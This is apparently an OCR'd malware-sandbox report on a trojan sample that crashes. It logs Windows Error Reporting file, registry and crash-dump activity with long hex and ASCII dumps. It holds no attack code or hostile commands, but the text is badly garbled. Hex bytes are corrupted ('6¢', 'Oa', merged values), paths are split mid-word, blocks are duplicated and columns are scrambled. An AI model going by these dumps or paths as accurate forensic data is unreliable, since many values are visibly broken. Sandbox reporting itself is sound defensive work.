ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
4

2

258

Value

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
73 002000410073
00 49 00 64 00 3d 00
22 003300350039
00 22 00 20 00 50 00
49 00 44 00 3d 00 22
00 37 00 31 00 34 00
30 00 22 00 20 00 55
00 70 00 74 00 69 00
6d 00 65 00 4d 00 53
00 3d 00 22 00 36 00
37 00 3100 2200 20
00 54 00 69 00 6d 00
65 00 53 00 69 00 6e
00 63 00 65 00 43 00
7200 65 00 61 00 74
00 69 00 6f 00 6e 00
4d 00 53 00 3d 00 22
00 36 00 37 00 31 00
22002000 53 00 75
00 73 00 70 00 65 00
6e 00 64 00 65 00 64
00 4d 00 53 00 3d 00
22003000 2200 20
00 48 00 61 00 6e 00
67 00 43 00 6f 00 75
00 6e 00 74 00 3d 00
220030002200 20
00 47 00 68 00 6f 00
7300 74 00 43 00 6f
00 75 00 6e 00 74 00
3d 00 22 00 30 00 22
00 20 00 43 00 72 00
61 00 73 00 68 00 65
00 64 00 3d 00 22 00
310022

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 54 00 69
00 6d 00 65 00 6¢ 00
69 00 6e 00 65 00 73
00 3e 00

0d 00 0a 00

09 00

3c 00 52 00 65 00 70
00 6f 00 72 00 74 00
49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e
00 3e 00

0d 00 0a 00

09 00

Ascii

<.P.ro.c.es.s. .As.ld.=".
3.5.9.". .P.l. '7.1.4.0.".
.U.p.tim.eM.S.="6.7.1."
.T..m.e.S.i.n.ce.Cre.a.t.

i.o.n.M.S.=.".6.7.1.". .S.u.s.
p.e.n.d.e.d.M.
.H.a.n.g.C.o.u.n.
.G.h.o.s.t.C.o.u.n.t.
.Cras.hed.=

<./.P.ro.c.e.s.s.>.

<./.P.ro.ce.s.s.T..m.e.li.
n.e.s.>.

<.R.e.p.o.rt.l.nfoorm.a.t.
i.o.n.>.

Source

Completion Count Address

success or wait 1 701B497A
success or wait 2 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 2 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 1 701B497A
success or wait 2 701B497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
98

4

2

98

40

40

Value

3c 00 47 00 75 00 69
00 64 00 3e 00 34 00
64 00 36 00 33 00 61
00 66 00 32 00 39 00
2d 00 39 00 61 00 62
00 66 00 2d 00 34 00
62 00 63 00 32 00 2d
00 38 00 34 00 35 00
3800 2d 00 33 00 34
00 31 00 64 00 34 00
62 00 36 00 39 00 63
00 61 00 33 00 65 00
3c 00 2f 00 47 00 75
00 69 00 64 00 3e 00

0d 00 0a 00

09 00

3c 0043 00 72 00 65
00 61 00 74 00 69 00
6f 00 6e 00 54 00 69
00 6d 00 65 00 3e 00
32 003000320031
00 2d 00 30 00 32 00
2d 00 32 00 33 00 54
00 31 00 38 00 3a 00
30 00 33 00 3a 00 30
00 38 00 5a 00 3c 00
2f 00 43 00 72 00 65
00 61 00 74 00 69 00
6f 00 6e 00 54 00 69
00 6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 52 00 65
00 70 00 6f 00 72 00
74 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

3c 00 2f 00 57 00 45
00 52 00 52 00 65 00
7000 6f 00 72 00 74
00 4d 00 65 00 74 00
61 00 64 00 61 00 74
00 61 00 3e 00

Ascii Completion

<.G.u.i.d.>.4.d.6.3.a.f.2.9.-. success or wait
9.a.bf-4.b.c.2.-8.458.-
3.4.1.d.4.b.6.9.c.a.3.e.

<./.G.u.i.d.>.

success or wait

success or wait

<.C.re.a.ti.o.n.T..m.e.>.2. success or wait
0.2.1.-.0.2.-.2.3.T.1.8.:.0.3.
1.0.8.Z</Cre.atio.n.T.

i.m.e.>.

success or wait

success or wait

<./.R.e.p.o.r.tlnfo.rm.a. success or wait
tio.n.>.

success or wait

<./W.E.R.R.e.p.o.r.t. M.e.t. success or wait
a.d.ata.>.

Source

Count Address Symbol

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS52E1.tmp.xml

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4cb68fc7f99a8fd229_bd6d4f40_196b581e\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4cb68fc7f99a8fd229 bd6d4f40_196b581e\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4cb68fc7f99a8fd229 bd6d4f40_196b581e\Report.wer

Registry Activities

Key Created

Key Path

\REGISTRY\A\{cb102d43-ceca-7b7{-3348-021a84950233}\Root\InventoryApplicationFile\PermissionsCheckTestKey
\REGISTRY\A\{cb102d43-ceca-7b7{-3348-021a84950233}\Root\InventoryApplicationFile\PermissionsCheckTestKey
\REGISTRY\A\{cb102d43-ceca-7b7{-3348-021a84950233}\Root\InventoryApplicationFile\PermissionsCheckTestKey

Offset
unknown 4746

unknown 2

unknown 22

unknown 46

Length Value

3c 3f 78 6d 6¢ 20 76

65 72 73 69 6f 6e 3d

22 31 2e 30 22 20 65
6e 63 6f 64 69 6e 67

3d 22 55 54 46 2d 38
222073 74 61 6e 64
61 6¢ 6f 6e 65 3d 22

79 65 73 22 3f 3e 0d

0a 3c 72 6571 20 76
6572 3d 2232 22 3e
0d 0a 20 20 3c 74 6¢
6d 3e 0d 0a 20 20 20
203c 737263 3e 0d
0a 20 20 20 20 20 20
3c 64 65 73 63 3e 0d
0a 20 20 20 20 20 20
2020 3c 6d 61 63 68
3e 0d 0a 20 20 20 20
2020 20 20 20 20 3c
6f 73 3e 0d 0a 20 20

2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 61 6a 22 20 76
61 6¢ 3d 22 31 30 22
20 2f 3e 0d Oa 20 20
2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 69 6e 22 20 76
61 6¢ 3d 22 30 22 20
2f 3e 0d Oa 20 20 20
2020 20 20 20 20 20
2020 3c 61726720
6e 6d 3d 22 76 65 72
62 6¢ 64 22 20 76 61
6c 3d 22

ff fe

56 00 6500 72 00 73
00 69 00 6f 00 6e 00
3d 00 31 00 0d 00 Oa
00

4d 00 65 00 74 00 61
00 64 00 61 00 74 00
61 00 48 00 61 00 73
00 68 00 3d 00 31 00
30 00 34 00 33 00 35
00 35 00 36 00 32 00
36 00 37 00

Source

Ascii Completion Count Address Symbol

<?xml version="1.0" success or wait 1 701B497A unknown
encoding="UTF-8"
standalone="yes"?>..<req
ver="2">.. <tlm>.. <src>

<desc>..
<mach>..
<arg nm="vermaj" val="10"
/>.. <arg
nm="vermin" val="0" />..

<arg nm="verbld" val="

<0s>..

success or wait 1 701B497A unknown

V.ers.i.o.n=1... success or wait 172 701B497A unknown

M.e.ta.d.ata.H.as.h.=1.
0.4.3.5.5.6.2.6.7.

success or wait 1 701B497A unknown

Source
Completion Count Address Symbol
success or wait 1 701D36BF unknown
success or wait 1 701D36BF unknown
success or wait 1 701B43D1 unknown

Analysis Process: WerFault.exe PID: 6408 Parent PID: 7140

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

Copyright null 2021

10:03:13

23/02/2021

C:\Windows\SysWOW64\WerFault.exe

true

C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 1200

0xe40000

434592 bytes
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MDS5 hash: 9E2BBACAD48ECCAS55C0230D63623661B

Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\DBG read data or list device directory file | object name collision 1 6E1F1717 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\ProgramData\Microsoft\Windows\WER\Temp\WER6B97.tmp read attributes | device synchronous io  success or wait 1 6E1E497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WER6B97.tmp.dmp read attributes | device synchronous io  success or wait 1 6E1E497A unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\Temp\WER83D3.tmp read attributes | device synchronous io  success or wait 1 6E1E497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WER83D3.tmp.WERInt read attributes | device synchronous io  success or wait 1 6E1E497A unknown
ernalMetadata.xml synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\Temp\WER877D.tmp read attributes | device synchronous io  success or wait 1 6E1E497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WER877D.tmp.xml| read attributes | device synchronous io  success or wait 1 6E1E497A unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Se read data or list device directory file | success or wait 1 6E1E497A unknown
curitelnfo.com_ed254a492c4061ee93311a4ch68fc7f99a8fd229 bd6ed directory | synchronous io
4f40_195b8cch synchronize non alert | open
for backup ident
| open reparse
point
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Se read attributes | device synchronous io  success or wait 1 6E1E497A unknown
curitelnfo.com_ed254a492c4061ee93311a4ch68fc7f99a8fd229 bd6d synchronize | non alert | non
4f40_195b8cch\Report.wer generic write directory file
File Deleted
Source
File Path Completion Count Address Symbol
C:\ProgramData\Microsoft\Windows\WER\Temp\WER6B97.tmp success or wait 1 6E1E497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER83D3.tmp success or wait 1 6E1E497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER877D.tmp success or wait 1 6E1E497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER6B97.tmp.dmp success or wait 1 6E1E497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml success or wait 1 6E1E497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER877D.tmp.xml| success or wait 1 6E1E497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER8776.tmp.csv success or wait 1 6E1E497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERB8BS8E.tmp.txt success or wait 1 6E1E497A unknown
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 32 4d 44 4d 5093 a7 ee  MDMP........ ....... gC5'........ success or wait 1 6E1E497A unknown
ws\WER\Temp\WER6B97.tmp.dmp a0 0f 00 00 00 20 00
00 00 00 00 00 00 67
43 35 60 a4 05 12 00
00 00 00 00
C:\ProgramData\Microsoft\Windo unknown 6 000000000000 ... success or wait 1 6E1E497A unknown

ws\WER\Temp\WER6B97.tmp.dmp
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 1420

unknown 716

00 00 06 00 07 55 04
01 0a 00 00 00 00 00
00 00 ee 42 00 00 02
00 00 00 f0 22 00 00
00 01 00 00 47 65 6e
75 69 6e 65 49 6e 74

65 6¢ 57 06 0500 fffh .

8b 1f 00 00 00 00 54
05 00 00 7 03 00 00
e4 1b 00 00 30 43 35
60 00 00 00 00 00 00
00 00 93 08 00 00 93
08 00 00 93 08 00 00
01 00 00 00 01 00 00
00 00 30 00 00 32 00
00 00 00 00 00 00 01
00 00 00 e0 01 00 00
50 00 61 00 63 00 69
00 66 00 69 00 63 00
20 00 53 00 74 00 61
00 6e 00 64 00 61 00
72 00 64 00 20 00 54
00 69 00 6d 00 65 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 Ob 00 00 00
01 00 02 00 00 00 00
00 00 00 00 00 00 00
50 00 61 00 63 00 69
00 66 00 69 00 63 00
2000 44 0061 00 79
00 6¢ 00 69 00 67 00
68 00 74 00 20 00 54
00 69 00 6d 00 65 00
00 00 00 00 00 00 00
00 00

7f 00 01 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aaaaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aaaaaaaaaa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
0000 62 6f 72 74 1c
fb 24 03 00 00 00 00
00 00 40 00 62 6f 72
74 00 00 00 00 28 fb
2403 62 6f 72 74 23
00 00 00 46 02 01 00
Oc fb 24 03 2b 00 00
00 aa aa aa aa aa aa
aa aaaaaaaaaaaa
aa aa aaaaaaaaaa
aaaaaaaaaaaaaa
aa aa aaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aa aa aaaaaa
aaaaaa

Ui, B.......
..GenuinelntelW.

P.a.c.ific..Stan.d.a.rd.

.T.i.m.e..

.D.a.y.li.g.ht..T.
im.e......

.................... oo Snosre
.+..bort.$.....@.bort....
(:$.bort#...F...$+.......

.P.a.c.fic.

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

6E1E497A unknown

6E1E497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 168

unknown 20

unknown 256

64 16 00 00 00 00 00
00 05 00 00 c0 00 00
00 00 00 00 00 00 00
00 00 00 62 6f 72 74
00 00 00 00 02 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 ff ff
ff ff ff ff ff ff 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 cc 02 00 00
dé 29 00 00

37 00 00 00 e2 6e 72
74 00 00 00 00 00 01
00 00 Oe 4c 00 00

00 8a 6f 04 00 44 00
61 00 74 00 61 00 00
00 23 00 00 00 06 4b
95 04 00 4e 00 61 00
6d 00 65 00 00 00 05
01 08 00 45 00 6e 00
64 00 70 00 6f 00 69
00 6e 00 74 00 02 0d
01 00 10 04 41 ff ff 3f
00 00 00 8a 6f 04 00
4400 61 00 74 00 61
00 00 00 27 00 00 00
06 4b 95 04 00 4e 00
61 00 6d 00 65 00 00
00 05 01 0a 00 50 00
61 00 63 00 6b 00 65
00 74 00 53 00 69 00
7a 00 65 00 02 0d 02
00 07 04 41 ff ff 39 00
00 00 8a 6f 04 00 44
00 61 00 74 00 61 00
00 00 21 00 00 00 06
4b 95 04 00 4e 00 61
00 6d 00 65 00 00 00
0501 07 00 41 00 64
00 64 00 72 00 65 00
7300 73 00 02 0d 03
00 Oe 04 41 ff ff 33 00
00 00 8a 6f 04 00 44
00 61 00 74 00 61 00
00 00 1b 00 00 00 06
4b 95 04 00 4e 00 61
00 6d 00 65 00 00 00
05 01 04 00 50 00 6f
00 72 00 74 00 02 0d
04 00 06 04 41 ff ff

Ascii

[« IR bort..

R ).

..o.Data.#..K.Nam.
e.....E.nd.p.oi.nt.....
A.?..o.Data.. .. .K..
N.a.m.e......P.a.ck.e.tS.i.
ze....A.9...o.Data.

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

=13

54

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 572

unknown 4

unknown 716

unknown 48

unknown 4

bc bl e5 77 d6 c9 e3
77 ac 00 00 00 aa aa
aa aa 10 00 00 00 58

fee30024ffe300aa ...

aaaaaa40c7e377
40 c7 e3 77 aa aa aa
aa 00 00 2c 00 00 00
2c 00 00 00 00 00 ac
00 00 00 aa aa aa aa
ac 00 00 00 aa aa aa
aa 00 00 2c 00 00 00
00 00 00 00 00 00 00
00 00 00 aa aa aa aa
aa aa aa aa 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 aa aa aa aa 00 00
00 00 00 00 00 00 aa
aa aa aa 30 1b ba 00
00 00 00 00 00 00 00
00 fO 6b b4 00 00 70
2b 00 10 00 00 00 aa
aa aa aa 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 aa aa
aa aa 00 00 00 00 aa
aa aaaaaaaaaaaa
90 fe 6d 02 90 fe d3
00 98 fe 6d 02 98 fe
d3 00 00 00 00 00 aa
aa aa aa aa aaaaaa
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

0a 00 00 00

3f 00 01 00 00 00 00

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aaaaaaaaaaaa
aa aa aa aa aaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aa aaaaaaaaaaaa
aaaaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
00 00 00 00 00 00 80
7b fO 77 00 00 00 00

00 00 00 00 00 00 00
00 aa aa aa aa 68 ca
1900 2c 95 e5 77 23
00 00 00 06 02 00 00
48 ca 19 00 2b 00 00
00 aa aa aa aa aa aa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aaaaaa

64 16 00 00 00 00 00
00 20 00 00 00 00 00
00 00 00 50 2d 00 00
00 00 00 2c ed 24 03
00 00 00 00 d4 12 00
00 Oe 4d 00 00 cc 02
00 00 ce 45 00 00

37 00 00 00

Ascii

W W X..$.....

.@.W@..W..

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

10

10

1

55

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

Copyright null 2021

Offset Length

unknown 106

unknown 120

unknown 60

unknown 668

Value

64 00 00 00 53 00 65
00 63 00 75 00 72 00
69 00 74 00 65 00 49
00 6e 00 66 00 6f 00
2e 00 63 00 6f 00 6d
00 2e 00 54 00 72 00
6f 00 6a 00 61 00 6e
00 2e 00 47 00 65 00
6e 00 65 00 72 00 69
00 63 00 4b 00 44 00
5a 00 2e 00 37 00 33
00 31 0032 00 34 00
2e 00 31 00 39 00 31
00 37 00 30 00 2e 00
65 00 78 00 65 00 00
00

00 00 2b 70 00 00 00
00 00 b0 01 00 9c 87
02 00 e5 2a d0 19 5a
29 00 00 bd 04 ef fe
00 00 01 00 00 00 0a
00 01 00 ee 42 00 00
0a 00 01 00 ee 42 3f
00 00 00 00 00 00 00
04 00 04 00 02 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 27
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 c0 41 00 00 00 00
00 00 00 00 00 00 00
00 00 00 Oc 00 00 00
18 00 00 00 02 00 00
00

36 00 00 00 4f 00 6e
00 44 00 65 00 6d 00
61 00 6e 00 64 00 43
00 6f 00 6e 00 6e 00
52 00 6f 00 75 00 74
00 65 00 48 00 65 00
6¢ 00 70 00 65 00 72
00 2e 00 64 00 6¢ 00
6¢ 00 00 00

00 00 c3 73 00 00 00
00 00 00 03 00 a8 c2
0300 d1 2a 2c e3 b8
29 00 00 01 00 0f 00
5a 62 02 00 00 10 00

00 fb fe 0f 00 01 00 00

00 ff ff 13 00 00 00 01
00 00 00 01 00 00 00
00 00 ff ff fe 7f 00 00
00 00 0f 00 00 00 00
00 00 00 04 00 00 00
00 e0 5e 02 00 00 00
00 00 b0 c8 02 00 00
00 00 cf 55 01 00 00
01 00 00 00 00 00 00
ff ff ff ff 00 00 00 00 25
88 03 00 00 00 00 00
31 8a 03 00 00 00 00
00 00 00 00 00 00 00
00 00 c5 2d 1b 00 00
00 00 00 7b d1 04 00
00 00 00 00 40 ff 1f 00
00 00 00 00 76 0f 05
00 00 00 00 00 d4 98
do 8f 00 00 00 00 d7
el 3a 1b 00 00 00 00
6d 8e 1e Oe 00 00 00
00 29 25 44 01 00 00
00 00 b3 b1 00 00 b8
3a 01 00 c0 16 06 00
21¢9 0a 00 7b d1 04
00 fb 7e 15 00 76 Of
05 00 bf 32 2b 00 ba
56 01 00 7a Oc 16 00
00 00 00 00 23 38 15
00 80 8f 04

d..S.e.curite.l.nfo..
c.o.m...T.r.oj.an..G.e.n.e.
ri.c.K.D.Z..7.3.1.2.4...1.9.

6...0.n.D.e.m.a.n.d.C.0.n.n success or wait
.R.o.ute.H.elp.e.r..d.ll.

Source

Count Address Symbol

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER6B97.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset
unknown 19530

unknown 120

unknown 2

unknown 78

unknown 4

unknown 38

unknown 4

unknown 2

Length Value

0a 00 00 00 45 00 76
00 65 00 6e 00 74 00
00 00 00 00 00 00 06
00 00 00 08 00 00 00
01 00 00 00 00 00 00
00 28 00 00 00 57 00
61 00 69 00 74 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 50 00
61 00 63 00 6b 00 65
00 74 00 00 00 18 00
00 00 49 00 6f 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 00 00
1e 00 00 00 54 00 70
00 57 00 6f 00 72 00
6b 00 65 00 72 00 46
00 61 00 63 00 74 00
6f 00 72 00 79 00 00
00 Oe 00 00 00 49 00
52 00 54 00 69 00 6d
00 65 00 72 00 00 00
28 00 00 00 57 00 61
00 69 00 74 00 43 00
6f 00 6d 00 70 00 6¢
00 65 00 74 00 69 00
6f 00 6e 00 50 00 61
00 63 00 6b 00 65 00
74 00 00 00 Oe 00 00
00 49 00 52 00 54 00
69 00 6d 00 65 00 72
00 00 00 28 00 00 00
57 00 61 00 69 00 74
00 43 00 6f 00 6d 00
7000 6¢

03 00 00 00 e4 01 00
00 08 07 00 00 04 00
00003817 00 00 f8
08 00 00 Oe 00 00 00
3c 00 00 00 30 20 00
00 05 00 00 00 74 03
00 00 9a 48 00 00 06
00 00 00 a8 00 00 00
60 06 00 00 07 00 00
00 38 00 00 00 d4 00
00 00 Of 00 00 00 54
05 00 00 Oc 01 00 00
Oc 00 00 00 a8 30 00
00 30 6b 01 00 15 00
00 00 ec 01 00 00 6¢
2000 00 16 00 00 00
98 00 00 00 58 22 00
00

ff fe

3c 00 3f 00 78 00 6d

00 6¢ 00 20 00 76 00
6500 72 00 73 00 69
00 6f 00 6e 00 3d 00

22003100 2e 00 30
00 22 00 20 00 65 00
6e 00 63 00 6f 00 64
00 69 00 6e 00 67 00
3d 00 22 00 55 00 54
00 46 00 2d 00 31 00
36 00 22 00 3f 00 3e

00

0d 00 0a 00

3c 00 57 00 45 00 52
00 52 00 65 00 70 00
6f 00 72 00 74 00 4d
00 65 00 74 00 61 00
64 00 61 00 74 00 61
00 3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
LEvento success or wait 1 6E1E497A unknown
(...W.a.i.t.C.o.m.p.l.e.
tio.n.P.a.cke.t....lo.
C.o.m.p.l.e.ti.o.n.....T.p.
W.o.rk.er.Fa.cto.ry....
LLR.Timee.r..(..W.a.i.t.
C.o.m.p.l.e.ti.o.n.P.a.ck.e.
te..LR.T.i.m.e.r..(..W.
a.i.t.C.o.m.p.l
success or wait 1 6E1E497A unknown
success or wait 1 6E1E497A unknown
<.?2.x.m.l. .v.e.r.s.i.o.n. success or wait 1 6E1E497A unknown
1..0.". .e.n.c.0.d.i.n.g.=.".
UT.F.-16."2>.
success or wait 1 6E1E497A unknown
<W.E.R.R.e.p.o.r.t.M.e.t.a. success or wait 1 6E1E497A unknown
data>.
success or wait 1 6E1E497A unknown
success or wait 1 6E1E497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

